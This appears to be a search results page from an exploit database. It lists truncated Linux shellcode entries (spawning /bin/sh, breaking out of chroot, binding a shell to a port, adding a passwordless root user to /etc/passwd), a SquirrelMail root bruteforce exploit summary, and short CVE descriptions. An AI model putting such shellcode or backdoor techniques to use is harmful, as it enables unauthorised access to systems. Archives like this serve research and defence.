3372 matches found
linux/x86 execve /bin/sh tolower() evasion 41 bytes
No description provided by source. / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include stdio.h char c0de = / main: / "\xeb\x1b" / jmp callz / / start: / "\x5e" / popl %esi / "\x89\xf3" / movl %esi, %ebx / "\x89\xf7" / movl %esi, %edi / "\x83\xc7\x07" / addl $0x07,...
linux/x86 execve /bin/sh 30 bytes
Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 30 bytes ================================= / email protected 20 de marzo de 2001 "\x31\xdb" // xorl %ebx,%ebx "\x8d\x43\x17" // leal 0x17%ebx,%eax "\xcd\x80" // int $0x80 "\x31\xd2" //...
linux/x86 break chroot 34 bytes
linux/x86 break chroot 34 bytes. Shellcode exploit for linx86 platform / The setuid0+chroot shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 34 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 xor ecx,ecx xor eax,eax...
linux/x86 break chroot execve /bin/sh 80 bytes
No description provided by source. / This is Linux chroot/execve code.It is 80 bytes long.I have some ideas how to make it smaller, but till then use this one. signed predator linux registered user : 181116 preedatoratsendmaildotru / char...
linux/SPARC portbind port 8975 284 bytes
Exploit for linux/sparc platform in category shellcode ======================================== linux/SPARC portbind port 8975 284 bytes ======================================== / 0-day portbind shellcode for all those Sun machines running linux.. Coded from scratch, so i take all the credits. It...
linux/x86 execve /bin/sh 24 bytes
Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 24 bytes ================================= / email protected execve/bin/sh. 24 bytes. es lo mas chica que se puede hacer. / char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl...
linux/x86 break chroot 46 bytes
Exploit for linux/x86 platform in category shellcode =============================== linux/x86 break chroot 46 bytes =============================== / The setuid0+chroot shellcode it will put '../' 10 times Size 46 bytes OS BSD /rootteam/dev0id www.sysworld.net email protected BITS 32 jmp short...
linux/x86 add user t00r 82 bytes
linux/x86 add user t00r 82 bytes. Shellcode exploit for linx86 platform / [email protected] 0x14abril0x7d2 82 bytes Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd Encriptada en http://www.shellcode.com.ar/linux/lnx-t00r-cr1.c / include // Shellcode // Asm Code char shellcode=...
linux/x86 break chroot 46 bytes
linux/x86 break chroot 46 bytes. Shellcode exploit for linx86 platform / The setuid0+chroot shellcode it will put '../' 10 times Size 46 bytes OS BSD /rootteam/dev0id www.sysworld.net [email protected] BITS 32 jmp short callme main: pop esi mov edi,esi xor ecx,ecx push ecx mov al,0x17 push ea...
SquirrelMail - 'chpasswd' Local Privilege Escalation (Brute Force)
/ PSTchpasswdexp-vb.c: Squirrelmail chpasswd local root bruteforce exploit Author: Bytes || www ph4nt0m net Notice: vb: Local bruteforce version vR: remote bruteforce version Greatze: ph4nt0m,music@0x557 All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy... Thax: My...
security flaw
The OSS code for the Sound Blaster sb16 driver in Linux 2.4.x before 2.4.26, when operating in 16 bit mode, does not properly handle certain sample sizes, which allows local users to cause a denial of service crash via a sample with an odd number of bytes...
mozilla -- NULL bytes in FTP URLs
When handling FTP URLs containing NULL bytes, Mozilla will interpret the file content as HTML. This may allow unexpected execution of Javascript when viewing plain text or other file types via FTP...
shatterSEH2.txt
moderator: I forgot the link :- ========================================================================= = Shattering SEH II = = [email protected] = http://www.security-assessment.com = = Originally posted: July 28, 2003...
CVE-2002-2415
Allied Telesyn AT-8024 1.3.1 and Rapier 24 switches allow remote authenticated users to cause a denial of service in the management interface via a stream of zero null bytes sent via UDP to a running service...
CVE-2001-0738
LogLine function in klogd in sysklogd 1.3 in various Linux distributions allows an attacker to cause a denial of service hang by causing null bytes to be placed in log messages...
DoS против NukeNabber
Много нулевых байт в порт TCP/19 приводит к зависанию программы...
CVE-2000-0922
CVE-2000-0922 affects Bytes Interactive Web Shopper shopper.cgi (2.0 and earlier). The vulnerability is a directory traversal via the newpage parameter (.. attack), enabling remote attackers to read arbitrary files on the web server. Multiple sources (NVD, CVE listings, Nessus/OpenVAS entries) co...
CVE-2000-0983
Microsoft NetMeeting with Remote Desktop Sharing enabled allows remote attackers to cause a denial of service CPU utilization via a sequence of null bytes to the NetMeeting port, aka the "NetMeeting Desktop Sharing" vulnerability...
CVE-2000-0837
CVE-2000-0837 affects FTP Serv-U 2.5e, where a remote attacker can cause a denial of service by sending a large number of null bytes to the FTP service. The underlying issue is the service crashing under大量 null-byte input (as documented in public advisories and the Nessus plugin for Serv-U 2.5e D...
CVE-2000-0922
Directory traversal vulnerability in Bytes Interactive Web Shopper shopping cart program shopper.cgi 2.0 and earlier allows remote attackers to read arbitrary files via a .. dot dot attack on the newpage parameter...